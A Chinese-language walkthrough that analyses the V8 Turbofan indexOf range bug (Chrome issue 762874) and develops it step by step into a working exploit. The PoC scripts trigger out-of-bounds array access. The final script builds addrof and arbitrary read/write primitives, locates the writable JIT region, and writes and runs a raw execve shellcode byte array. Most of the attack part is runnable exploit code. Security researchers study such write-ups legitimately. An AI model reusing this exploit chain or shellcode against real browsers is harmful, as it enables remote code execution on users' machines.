0 环境与背景知识
0.1 环境
首先搜一下在chrome的bug库中找到对应的issue号
从下面的评论中找到了对应的含有漏洞的v8版本
还原到parent版本
下图中的两个版本应该是都可以的(对于旧的版本可以使用JIT 新的v8版本可以使用wasm方法)这里的新指6.7版本之后的)当然了使用传统的泄漏libc方法也可以
0.2 Javascript indexOf方法
indexOf() 方法可返回某个指定的字符串值在字符串中首次出现的位置。
stringObject.indexOf(searchvalue,fromindex)
参数 | 描述 |
---|---|
searchvalue | 必需。规定需检索的字符串值。 |
fromindex | 可选的整数参数。规定在字符串中开始检索的位置。它的合法取值是 0 到 stringObject.length – 1。如省略该参数,则将从字符串的首字符开始检索。 |
这里的fromindex补丁后是0到length-1,我们看到在漏洞版本中是-1到length-1(源码如下)
下面是几个这个函数使用的例子(取自菜鸟教程)
<script type="text/javascript">
var str="Hello world!"
document.write(str.indexOf("Hello") + "<br />")
document.write(str.indexOf("World") + "<br />")
document.write(str.indexOf("world"))
</script>
三个输出分别是
0
-1
6
下面我们看下面的使用方法
'1234'.indexOf("",1)
第二个参数是开始匹配的位置,第一个参数为空,这样的话一定匹配成功,返回我们给的第二个参数
不过当我们尝试越界访问的时候返回的是length
0.3 JIT
在 JavaScript 引擎中增加一个监视器监控着代码的运行情况,记录代码一共运行了多少次、如何运行的等信息。如果同一行代码运行了多次,这个代码段就会被送给JIT机制进行编译和优化,将编译后的机器代码保存在缓存中,下次直接执行这块机器代码即可,大大提高了一些情况下代码的执行效率。
在较早期版本的v8引擎中,经常使用向JIT写入shellcode的方式。不过在6.7版本之后,JIT的区域会被标记为不可写。可以考虑JIT Spray/JIT ROP之类的绕过。个人感觉JIT和wasm是很像的,wasm的介绍可以从文章找一下
下面的代码可以用来寻找JIT
//让function变hot
function f()
{
for(let i=0;i<0x1000000;i++)
{
let a='migraine';
}
}
//通过jsfunction结构找到JIT的地址
let jsfunc_addr=wr.leak_obj(f);
let jit_addr=wr.read(jsfunc_addr+6*8)-1;
console.log("jsfunction address = "+hex(jsfunc_addr));
console.log("jit address = "+hex(jit_addr));
也可以使用debug调试(建议),比如下面
Code Builtin位置就是我们要写的位置
对应的可以找到偏移是0x38(对应上图中的job)
pwndbg> x/20gx 0xd0398602ef9-1
0xd0398602ef8: 0x00000350944024c1 0x00003d0ed2002251
0xd0398602f08: 0x00003d0ed2002251 0x00003d0ed2002321
0xd0398602f18: 0x0000125dd6732389 0x0000125dd6703cd1
0xd0398602f28: 0x0000125dd6732561 0x00002ad94bb0df41 <======
0xd0398602f38: 0x00003d0ed20022e1 0x1beefdad0beefdaf
我们找到的位置是下图中的一部分
接着根据RWX段找到具体代码
可见偏移是0x60
所以找RWX地址的代码就是
var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))
1 漏洞分析
起初漏洞分析的时候参考的是
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p
中关于这个issue的分析,后来复现的时候发现与我所面对有所出入(即下文中的2**28)
1.1 优化时分析
在Turbofan 的Typer中将indexof 的range分析设计成了-1到length-1,如下图中的源码
所以在优化分析的时候,Typer会将这里的范围设定为 range(-1, kMaxLength-1)
1.2 运行时分析
但是真正运行的时候,indexOf后面的参数最大只能到2**28-16位置,
当我们输入更大的数字给它时,它也只能返回2**28-16
例如我下面截图中的一些尝试,最后一个按照函数正确的调用应该返回2**28,
但是却只到了2**28-16
1.3 总结
笔者想到了一个表格,感觉可以形象的表述如何触发bug
传入x = 2**28-16
根据上面的尝试(其实后面发现这个出错了),写了下面的表格
程序流程(右侧的范围指这一行新出现的变量的取值范围) | 优化时情况 | 运行时情况 |
---|---|---|
let b = ‘A’.repeat(2**28-16).indexOf(“”,x) | range(-1,2**28-17) | (0,2**28-16) |
let a = b+16 | range(15,2**28-1) | (16,2**28) |
let c = a >> 28 | range(0,0) | (0,1) |
let idx = c * 1337 | range(0,0) | (0,1337) |
简单的解释一下,上面的表格可以设计成一个函数,第二列是优化的时候见到的情况,第三列则是运行时的实际情况.
如果我们使用表中得到的idx去访问一个数组的话,优化时会认为我们访问的是0号元素,从而去掉checkBound节点,而实际运行时我们可以越界访问,从而导致OOB
2 POC 尝试触发漏洞
有了上面的表格POC就相对好写一点了
起初想用下面的代码触发
2.1
poc1.js
function foo(x)
{
let oobArray = [1.1,2.2,3.3,4.4];
let b = 'A'.repeat(2**28-16).indexOf("",x);
let a = b + 16;
let c = a >> 28;
// c = c - 3;
let idx = c * 1337;
return oobArray[idx];
}
print(foo(1));
print(foo(1));
%OptimizeFunctionOnNextCall(foo);
print(foo(2**28-16));
但是发现失败了,被检测到了越界
使用Turbolizer看一下优化的过程
问题似乎处在Typer阶段
我们希望这里的range是(-1,2**28-17),但是后面那个1073741798明显大了很多
这里就导致了Simplified Lowering阶段仍然有CheckBound节点
刚开始猜测可能是我将x当做参数传给函数,它不知道这个x的范围,所以设计的很大,于是改了一下POC
2.2
poc2.js
function foo()
{
x = 2**28-16;
let oobArray = [1.1,2.2,3.3,4.4];
let b = 'A'.repeat(2**28-16).indexOf("",x);
let a = b + 16;
let c = a >> 28;
let idx = c * 1337;
return oobArray[idx];
}
print(foo());
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());
结果还是同样的,CheckBound节点没有去除,猜测可能这个优化的最大界就是那个数字,
尝试了修改字符串的长度,然后看一下优化图解
2.3
poc3.js
(0,1337)
function foo(x)
{
let oobArray = [1.1,2.2,3.3,4.4];
let b = 'A'.repeat(16).indexOf("",x);
let a = b + 16;
let c = a >> 28;
let idx = c * 1337;
return oobArray[idx];
}
print(foo(1));
print(foo(1));
%OptimizeFunctionOnNextCall(foo);
print(foo(16));
发现最大界限仍然是这个数字(2**30-26)
猜测上面MaxLength对应的源码不是2**28次方了,测试一下
可以看到确实MaxLength不在是之前的2**28-16
重新测试了一下运行情况
2.4
尝试修改一下上面的表格(x = 2**30-25)
程序流程(右侧的范围指这一行新出现的变量的取值范围) | 优化时情况 | 运行时情况 |
---|---|---|
let b = ‘A’.repeat(2**30-25).indexOf(“”,x) | range(-1,2**30-26) | 2**30-25 |
let a = b+25 | range(24,2**30-25) | 2**30 |
let c = a >> 30 | range(0,0) | 1 |
let idx = c * 5 | range(0,0) | 5 |
下面是我一步一步运行poc时得到的结果
// d8> 'A'.repeat(2**30-25).indexOf('',2**30-25)
// 1073741799
// d8> 1073741799+25
// 1073741824
// d8> 1073741824>>30
// 1
// d8>
重新写一下POC
poc4.js
function foo()
{
// x = 2**28;
let b = 'A'.repeat(2**30-25).indexOf('',2**30-25);
let a = b + 25;
let c = a >> 30;
let idx = c * 5;
let oobArray = [1.1,2.2,3.3,4.4];
return oobArray[idx];
}
// for(var i=0;i<0x10000;i++)
// {
// var k = foo();
// if(k!=undefined)
// {
// print(k);
// }
// }
print(foo());
print(foo());
%OptimizeFunctionOnNextCall(foo);
print(foo());
运行结果…..越界失败 起初我根据下面的图以为越界失败了
但是当我输出上面poc的index的时候发现实际上越界成功了(输出idx的效果如下图)
0
1.1
0
1.1
---------------------------------------------------
Begin compiling method foo using Turbofan
---------------------------------------------------
Finished compiling method foo using Turbofan
5
1.1*/
优化图解
我们确实得到了range(0,0),而且也没有了checkBound节点.
2.5
最后进一步完善一下,写出了下面的poc
poc5.js
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
function foo(x)
{
// x = 2**28;
let b = 'A'.repeat(2**30-25).indexOf('',x);
let a = b + 25;
let c = a >> 30;
// print(c);
let idx = c * 5;
print(idx);
let oobArray = [1.1,2.2,3.3,4.4];
oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
return oobArray;
}
// for(var i=0;i<0x10000;i++)
// {
// var k = foo();
// if(k!=undefined)
// {
// print(k);
// }
// }
foo(1);
foo(1);
%OptimizeFunctionOnNextCall(foo);
let oob = foo(2**30-25);
%DebugPrint(oob);
%SystemBreak();
//在实际运行中foo(2**30-25)明明是1
// 1.1
// 1.1
// --------城-------------------------------------------
// Begin compiling method foo using Turbofan
// ---------------------------------------------------
// Finished compiling method foo using Turbofan
// 1.1
// d8> 'A'.repeat(2**30-25).indexOf('',2**30-25)
// 1073741799
// d8> 1073741799+25
// 1073741824
// d8> 1073741824>>30
// 1
// d8>
/*
0
1.1
0
1.1
---------------------------------------------------
Begin compiling method foo using Turbofan
---------------------------------------------------
Finished compiling method foo using Turbofan
5
1.1*/
上面POC的效果是将oobArray的第5个元素修改成1.74512933848984e-310;//i2f(0x202000000000)
在debug模式下运行一下
从上图中可以发现OOB成功
3 EXP
接下来的流程就是和之前的利用方法相似了,只不过最后一步用的是JIT,使用ArrayBuffer object 实现弹出计算器
如果不清楚这次利用的方法,建议阅读上面链接中的背景知识
3.1 change the size of oobArray
通过debug模式下的图解,我们可以知道我们要修改的是idx = 7的位置(如下图)
我尝试用下面的脚本进行修改大小时
/*************************************************************
* File Name: m_exp.js
*
* Created on: xx.xx.xx
* Author: init-0
*
* Last Modified:
* Description: exp for 762874
************************************************************/
function hex(i)
{
return i.toString(16).padStart(16, "0");
}
const MAX_ITERATIONS = 10000;
const buf = new ArrayBuffer(8);
const f64 = new Float64Array(buf);
const u32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(val)
{
f64[0] = val;
let tmp = Array.from(u32);
return tmp[1] * 0x100000000 + tmp[0];
}
// 64-bit unsigned integer to Floating point
function i2f(val)
{
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
u32.set(tmp);
return f64[0];
}
let obj = [];
let ABuffer = [];
function foo(x)
{
// x = 2**28;
let b = 'A'.repeat(2**30-25).indexOf('',x);
let a = b + 25;
let c = a >> 30;
// print(c);
let idx = 7 * 5;
// print(idx);
let oobArray = [1.1,2.2,3.3,4.4];
oobArray[idx] = 1.74512933848984e-310;//i2f(0x202000000000);
return oobArray;
}
// for(var i=0;i<0x10000;i++)
// {
// var k = foo();
// if(k!=undefined)
// {
// print(k);
// }
// }
foo(1);
foo(1);
for(let i=0; i<MAX_ITERATIONS; i++) {
foo(1)
}
let oob = foo(2**30-25);
console.log("[*] ========> "+hex(oob.length));
%DebugPrint(oob);
%SystemBreak();
按理说应该会改成0x2020
修改成功
3.2 Read and write at any address && obj leak
利用ArrayBuffer 的 Backstore指针 与 object
如果这一步不是很懂,可以看一下之前的背景知识
本部分的代码如下
其中gc()函数是使得内存更加的稳定
obj.push({mark:i2f(0x11111111),n:i2f(0x41414141)});
ABuffer.push(new ArrayBuffer(0x200));
gc();
var off_buffer = 0;
var off_obj = 0;
for(var i=0;i<500;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x11111111)
{
off_obj = i+1;
break;
}
}
for(var i=0;i<500;i++)
{
let tmp = oob[i];
if(f2i(tmp) == 0x0000020000000000)
{
off_buffer = i+1;
break;
}
}
console.log("[+] off_obj @"+off_obj);
console.log("[+] off_buffer @"+off_buffer);
这里简单解释一下,笔者在oob地址下方push了一个ArrayBuffer 和 一个object
并通过oob数组越界找到其位置,运行效果如下
之后写了三个函数,分别用于泄漏地址,任意地址读,任意地址写
let dataView = new DataView(ABUF[ABUF.length-1]);
function addrof(x)
{
obj[0].n = x;
return f2i(oob[off_obj]);
}
function abread(addr)
{
oob[off_buffer] = i2f(addr);
// let bigint = new BigUint64Array(ABUF);
// return bigint[0];
return f2i(dataView.getFloat64(0,true));
}
function abwrite(addr,payload)
{
oob[off_buffer] = i2f(addr);
for(let i=0; i<payload.length; i++) {
dataView.setUint8(i, payload[i]);
}
}
3.3 Get calc
这一步利用的是JIT
首先找到JIT代码的位置
var jit = new Function("var a=1000000");
// %DebugPrint(ABuffer);
// %DebugPrint(oob);
// %SystemBreak();
var jit_addr = addrof(jit) - 1;
console.log("jit_addr ==> 0x"+jit_addr.toString(16))
var rwx_addr = abread(jit_addr+0x38) - 1 + 0x60
console.log("rwx_addr ==> 0x"+rwx_addr.toString(16))
之后写入shellcode并执行
var shellcode = [72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72, 184, 46, 121, 98,
96, 109, 98, 1, 1, 72, 49, 4, 36, 72, 184, 47, 117, 115, 114, 47, 98,
105, 110, 80, 72, 137, 231, 104, 59, 49, 1, 1, 129, 52, 36, 1, 1, 1, 1,
72, 184, 68, 73, 83, 80, 76, 65, 89, 61, 80, 49, 210, 82, 106, 8, 90,
72, 1, 226, 82, 72, 137, 226, 72, 184, 1, 1, 1, 1, 1, 1, 1, 1, 80, 72,
184, 121, 98, 96, 109, 98, 1, 1, 1, 72, 49, 4, 36, 49, 246, 86, 106, 8,
94, 72, 1, 230, 86, 72, 137, 230, 106, 59, 88, 15, 5];
abwrite(rwx_addr,shellcode);
jit();
// f();
最终效果
4 遇到的问题
4.0
说明:下面的问题是我刚开始想使用wasm方法写exp遇到的
写exp脚本的时候遇到了下面的问题
dataview.getFloat64(byteOffset [, littleEndian])
RangeError如果byteOffset超出了视图能储存的值,就会抛出错误.
这里最后的问题在于backstore的偏移找错了
应该是wasm的偏移找错了
解决方法在Debug模式下,打印出函数的地址,通过内存一点点找到RWX位置
打印出的函数地址,以及share_info位置
我们对应一下相对偏移(0x20)
同理利用上面的方法依次找到wasm instance RWX地址
实在不行,还可以search一下,比如上图我们找箭头的位置
下面的图片就不贴了,方法都是一样的
还有一个问题就是
下面脚本的位置有的时候在数字后面要加上’n’,有时不用 ,应该和不同版本的v8有关系
5 参考
https://docs.google.com/presentation/d/1DJcWByz11jLoQyNhmOvkZSrkgcVhllIlCHmal1tGzaw/edit#slide=id.p
https://migraine-sudo.github.io/2020/02/22/roll-a-v8/#JIT 关于JIT寻找部分
除了上面这些参考,后面大部分都是探索出来的
6 总结
6.1 对于Turbofan的理解有时比具体的利用思路更加的重要
6.2 菜鸟还得继续努力